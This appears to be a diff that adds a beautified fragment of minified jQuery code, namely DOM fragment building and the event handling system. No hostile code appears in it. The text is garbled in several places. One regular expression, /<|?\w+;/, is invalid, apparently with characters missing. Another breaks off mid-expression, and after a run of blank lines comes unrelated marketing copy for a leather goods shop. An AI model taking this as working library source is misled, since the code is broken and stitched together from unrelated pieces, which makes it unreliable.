+ "undefined" != typeof e.getElementsByTagName
+ ? e.getElementsByTagName(t || "*")
+ : "undefined" != typeof e.querySelectorAll
+ ? e.querySelectorAll(t || "*")
+ : []),
+ void 0 === t || (t && N(e, t)) ? w.merge([e], n) : n
+ );
+ }
+ function ve(e, t) {
+ for (var n = 0, r = e.length; n < r; n++)
+ J.set(e[n], "globalEval", !t || J.get(t[n], "globalEval"));
+ }
+ var me = /<|?\w+;/;
+ function xe(e, t, n, r, i) {
+ for (
+ var o,
+ a,
+ s,
+ u,
+ l,
+ c,
+ f = t.createDocumentFragment(),
+ p = [],
+ d = 0,
+ h = e.length;
+ d < h;
+ d++
+ )
+ if ((o = e[d]) || 0 === o)
+ if ("object" === x(o)) w.merge(p, o.nodeType ? [o] : o);
+ else if (me.test(o)) {
+ (a = a || f.appendChild(t.createElement("div"))),
+ (s = (de.exec(o) || ["", ""])[1].toLowerCase()),
+ (u = ge[s] || ge._default),
+ (a.innerHTML = u[1] + w.htmlPrefilter(o) + u[2]),
+ (c = u[0]);
+ while (c--) a = a.lastChild;
+ w.merge(p, a.childNodes), ((a = f.firstChild).textContent = "");
+ } else p.push(t.createTextNode(o));
+ (f.textContent = ""), (d = 0);
+ while ((o = p[d++]))
+ if (r && w.inArray(o, r) > -1) i && i.push(o);
+ else if (
+ ((l = w.contains(o.ownerDocument, o)),
+ (a = ye(f.appendChild(o), "script")),
+ l && ve(a),
+ n)
+ ) {
+ c = 0;
+ while ((o = a[c++])) he.test(o.type || "") && n.push(o);
+ }
+ return f;
+ }
+ !(function () {
+ var e = r.createDocumentFragment().appendChild(r.createElement("div")),
+ t = r.createElement("input");
+ t.setAttribute("type", "radio"),
+ t.setAttribute("checked", "checked"),
+ t.setAttribute("name", "t"),
+ e.appendChild(t),
+ (h.checkClone = e.cloneNode(!0).cloneNode(!0).lastChild.checked),
+ (e.innerHTML = ""),
+ (h.noCloneChecked = !!e.cloneNode(!0).lastChild.defaultValue);
+ })();
+ var be = r.documentElement,
+ we = /^key/,
+ Te = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
+ Ce = /^([^.]*)(?:\.(.+)|)/;
+ function Ee() {
+ return !0;
+ }
+ function ke() {
+ return !1;
+ }
+ function Se() {
+ try {
+ return r.activeElement;
+ } catch (e) {}
+ }
+ function De(e, t, n, r, i, o) {
+ var a, s;
+ if ("object" == typeof t) {
+ "string" != typeof n && ((r = r || n), (n = void 0));
+ for (s in t) De(e, s, n, r, t[s], o);
+ return e;
+ }
+ if (
+ (null == r && null == i
+ ? ((i = n), (r = n = void 0))
+ : null == i &&
+ ("string" == typeof n
+ ? ((i = r), (r = void 0))
+ : ((i = r), (r = n), (n = void 0))),
+ !1 === i)
+ )
+ i = ke;
+ else if (!i) return e;
+ return (
+ 1 === o &&
+ ((a = i),
+ ((i = function (e) {
+ return w().off(e), a.apply(this, arguments);
+ }).guid = a.guid || (a.guid = w.guid++))),
+ e.each(function () {
+ w.event.add(this, t, i, r, n);
+ })
+ );
+ }
+ (w.event = {
+ global: {},
+ add: function (e, t, n, r, i) {
+ var o,
+ a,
+ s,
+ u,
+ l,
+ c,
+ f,
+ p,
+ d,
+ h,
+ g,
+ y = J.get(e);
+ if (y) {
+ n.handler && ((n = (o = n).handler), (i = o.selector)),
+ i && w.find.matchesSelector(be, i),
+ n.guid || (n.guid = w.guid++),
+ (u = y.events) || (u = y.events = {}),
+ (a = y.handle) ||
+ (a = y.handle =
+ function (t) {
+ return "undefined" != typeof w && w.event.triggered !== t.type
+ ? w.event.dispatch.apply(e, arguments)
+ : void 0;
+ }),
+ (l = (t = (t || "").match(M) || [""]).length);
+ while (l--)
+ (d = g = (s = Ce.exec(t[l]) || [])[1]),
+ (h = (s[2] || "").split(".").sort()),
+ d &&
+ ((f = w.event.special[d] || {}),
+ (d = (i ? f.delegateType : f.bindType) || d),
+ (f = w.event.special[d] || {}),
+ (c = w.extend(
+ {
+ type: d,
+ origType: g,
+ data: r,
+ handler: n,
+ guid: n.guid,
+ selector: i,
+ needsContext: i && w.expr.match.needsContext.test(i),
+ namespace: h.join("."),
+ },
+ o
+ )),
+ (p = u[d]) ||
+ (((p = u[d] = []).delegateCount = 0),
+ (f.setup && !1 !== f.setup.call(e, r, h, a)) ||
+ (e.addEventListener && e.addEventListener(d, a))),
+ f.add &&
+ (f.add.call(e, c), c.handler.guid || (c.handler.guid = n.guid)),
+ i ? p.splice(p.delegateCount++, 0, c) : p.push(c),
+ (w.event.global[d] = !0));
+ }
+ },
+ remove: function (e, t, n, r, i) {
+ var o,
+ a,
+ s,
+ u,
+ l,
+ c,
+ f,
+ p,
+ d,
+ h,
+ g,
+ y = J.hasData(e) && J.get(e);
+ if (y && (u = y.events)) {
+ l = (t = (t || "").match(M) || [""]).length;
+ while (l--)
+ if (
+ ((s = Ce.exec(t[l]) || []),
+ (d = g = s[1]),
+ (h = (s[2] || "").split(".").sort()),
+ d)
+ ) {
+ (f = w.event.special[d] || {}),
+ (p = u[(d = (r ? f.delegateType : f.bindType) || d)] || []),
+ (s =
+ s[2] &&
+ new RegExp("(^|\\.)" + h.join("\\.(?:.*\\.|)") + "(\\.|$)")),
+ (a = o = p.length);
+ while (o--)
+ (c = p[o]),
+ (!i && g !== c.origType) ||
+ (n && n.guid !== c.guid) ||
+ (s && !s.test(c.namespace)) ||
+ (r && r !== c.selector && ("**" !== r || !c.selector)) ||
+ (p.splice(o, 1),
+ c.selector && p.delegateCount--,
+ f.remove && f.remove.call(e, c));
+ a &&
+ !p.length &&
+ ((f.teardown && !1 !== f.teardown.call(e, h, y.handle)) ||
+ w.removeEvent(e, d, y.handle),
+ delete u[d]);
+ } else for (d in u) w.event.remove(e, d + t[l], n, r, !0);
+ w.isEmptyObject(u) && J.remove(e, "handle events");
+ }
+ },
+ dispatch: function (e) {
+ var t = w.event.fix(e),
+ n,
+ r,
+ i,
+ o,
+ a,
+ s,
+ u = new Array(arguments.length),
+ l = (J.get(this, "events") || {})[t.type] || [],
+ c = w.event.special[t.type] || {};
+ for (u[0] = t, n = 1; n < arguments.length; n++) u[n] = arguments[n];
+ if (
+ ((t.delegateTarget = this),
+ !c.preDispatch || !1 !== c.preDispatch.call(this, t))
+ ) {
+ (s = w.event.handlers.call(this, t, l)), (n = 0);
+ while ((o = s[n++]) && !t.isPropagationStopped()) {
+ (t.currentTarget = o.elem), (r = 0);
+ while ((a = o.handlers[r++]) && !t.isImmediatePropagationStopped())
+ (t.rnamespace && !t.rnamespace.test(a.namespace)) ||
+ ((t.handleObj = a),
+ (t.data = a.data),
+ void 0 !==
+ (i = (
+ (w.event.special[a.origType] || {}).handle || a.handler
+ ).apply(o.elem, u)) &&
+ !1 === (t.result = i) &&
+ (t.preventDefault(), t.stopPropagation()));
+ }
+ return c.postDispatch && c.postDispatch.call(this, t), t.result;
+ }
+ },
+ handlers: function (e, t) {
+ var n,
+ r,
+ i,
+ o,
+ a,
+ s = [],
+ u = t.delegateCount,
+ l = e.target;
+ if (u && l.nodeType && !("click" === e.type && e.button >= 1))
+ for (; l !== this; l = l.parentNode || this)
+ if (1 === l.nodeType && ("click" !== e.type || !0 !== l.disabled)) {
+ for (o = [], a = {}, n = 0; n < u; n++)
+ void 0 === a[(i = (r = t[n]).selector + " ")] &&
+ (a[i] = r.needsContext
+ ? w(i, this).index(l) > -1
+ : w.find(i, this, null, [l]).length),
+ a[i] && o.push(r);
+ o.length && s.push({ elem: l, handlers: o });
+ }
+ return (
+ (l = this), u < t.length && s.push({ elem: l, handlers: t.slice(u) }), s
+ );
+ },
+ addProp: function (e, t) {
+ Object.defineProperty(w.Event.prototype, e, {
+ enumerable: !0,
+ configurable: !0,
+ get: g(t)
+ ? function () {
+ if (this.originalEvent) return t(this.originalEvent);
+ }
+ : function () {
+ if (this.originalEvent) return this.originalEvent[e];
+ },
+ set: function (t) {
+ Object.defineProperty(this, e, {
+ enumerable: !0,
+ configurable: !0,
+ writable: !0,
+ value: t,
+ });
+ },
+ });
+ },
+ fix: function (e) {
+ return e[w.expando] ? e : new w.Event(e);
+ },
+ special: {
+ load: { noBubble: !0 },
+ focus: {
+ trigger: function () {
+ if (this !== Se() && this.focus) return this.focus(), !1;
+ },
+ delegateType: "focusin",
+ },
+ blur: {
+ trigger: function () {
+ if (this === Se() && this.blur) return this.blur(), !1;
+ },
+ delegateType: "focusout",
+ },
+ click: {
+ trigger: function () {
+ if ("checkbox" === this.type && this.click && N(this, "input"))
+ return this.click(), !1;
+ },
+ _default: function (e) {
+ return N(e.target, "a");
+ },
+ },
+ beforeunload: {
+ postDispatch: function (e) {
+ void 0 !== e.result &&
+ e.originalEvent &&
+ (e.originalEvent.returnValue = e.result);
+ },
+ },
+ },
+ }),
+ (w.removeEvent = function (e, t, n) {
+ e.removeEventListener && e.removeEventListener(t, n);
+ }),
+ (w.Event = function (e, t) {
+ if (!(this instanceof w.Event)) return new w.Event(e, t);
+ e && e.type
+ ? ((this.originalEvent = e),
+ (this.type = e.type),
+ (this.isDefaultPrevented =
+ e.defaultPrevented ||
+ (void 0 === e.defaultPrevented && !1 === e.returnValue)
+ ? Ee
+ : ke),
+ (this.target =
+ e.target && 3 === e.target.nodeType
+ ? e.target.parentNode
+ : e.target),
+ (this.currentTarget = e.currentTarget),
+ (this.relatedTarget = e.relatedTarget))
+ : (this.type = e),
+ t && w.extend(this, t),
+ (this.timeStamp = (e && e.timeStamp) || Date.now()),
+ (this[w.expando] = !0);
+ }),
+ (w.Event.prototype = {
+ constructor: w.Event,
+ isDefaultPrevented: ke,
+ isPropagationStopped: ke,
+ isImmediatePropagationStopped: ke,
+ isSimulated: !1,
+ preventDefault: function () {
+ var e = this.originalEvent;
+ (this.isDefaultPrevented = Ee),
+ e && !this.isSimulated && e.preventDefault();
+ },
+ stopPropagation: function () {
+ var e = this.originalEvent;
+ (this.isPropagationStopped = Ee),
+ e && !this.isSimulated && e.stopPropagation();
+ },
+ stopImmediatePropagation: function () {
+ var e = this.originalEvent;
+ (this.isImmediatePropagationStopped = Ee),
+ e && !this.isSimulated && e.stopImmediatePropagation(),
+ this.stopPropagation();
+ },
+ }),
+ w.each(
+ {
+ altKey: !0,
+ bubbles: !0,
+ cancelable: !0,
+ changedTouches: !0,
+ ctrlKey: !0,
+ detail: !0,
+ eventPhase: !0,
+ metaKey: !0,
+ pageX: !0,
+ pageY: !0,
+ shiftKey: !0,
+ view: !0,
+ char: !0,
+ charCode: !0,
+ key: !0,
+ keyCode: !0,
+ button: !0,
+ buttons: !0,
+ clientX: !0,
+ clientY: !0,
+ offsetX: !0,
+ offsetY: !0,
+ pointerId: !0,
+ pointerType: !0,
+ screenX: !0,
+ screenY: !0,
+ targetTouches: !0,
+ toElement: !0,
+ touches: !0,
+ which: function (e) {
+ var t = e.button;
+ return null == e.which && we.test(e.type)
+ ? null != e.charCode
+ ? e.charCode
+ : e.keyCode
+ : !e.which && void 0 !== t && Te.test(e.type)
+ ? 1 & t
+ ? 1
+ : 2 & t
+ ? 3
+ : 4 & t
+ ? 2
+ : 0
+ : e.which;
+ },
+ },
+ w.event.addProp
+ ),
+ w.each(
+ {
+ mouseenter: "mouseover",
+ mouseleave: "mouseout",
+ pointerenter: "pointerover",
+ pointerleave: "pointerout",
+ },
+ function (e, t) {
+ w.event.special[e] = {
+ delegateType: t,
+ bindType: t,
+ handle: function (e) {
+ var n,
+ r = this,
+ i = e.relatedTarget,
+ o = e.handleObj;
+ return (
+ (i && (i === r || w.contains(r, i))) ||
+ ((e.type = o.origType),
+ (n = o.handler.apply(this, arguments)),
+ (e.type = t)),
+ n
+ );
+ },
+ };
+ }
+ ),
+ w.fn.extend({
+ on: function (e, t, n, r) {
+ return De(this, e, t, n, r);
+ },
+ one: function (e, t, n, r) {
+ return De(this, e, t, n, r, 1);
+ },
+ off: function (e, t, n) {
+ var r, i;
+ if (e && e.preventDefault && e.handleObj)
+ return (
+ (r = e.handleObj),
+ w(e.delegateTarget).off(
+ r.namespace ? r.origType + "." + r.namespace : r.origType,
+ r.selector,
+ r.handler
+ ),
+ this
+ );
+ if ("object" == typeof e) {
+ for (i in e) this.off(i, t, e[i]);
+ return this;
+ }
+ return (
+ (!1 !== t && "function" != typeof t) || ((n = t), (t = void 0)),
+ !1 === n && (n = ke),
+ this.each(function () {
+ w.event.remove(this, e, n, t);
+ })
+ );
+ },
+ });
+ var Ne =
+ /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,
+ Ae = /
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Experience Royalty With Our
+
Leather Collection
+
Every piece of leather product produced and sold by us reflects affluence,
+ both in
+ its appearance as well as feel.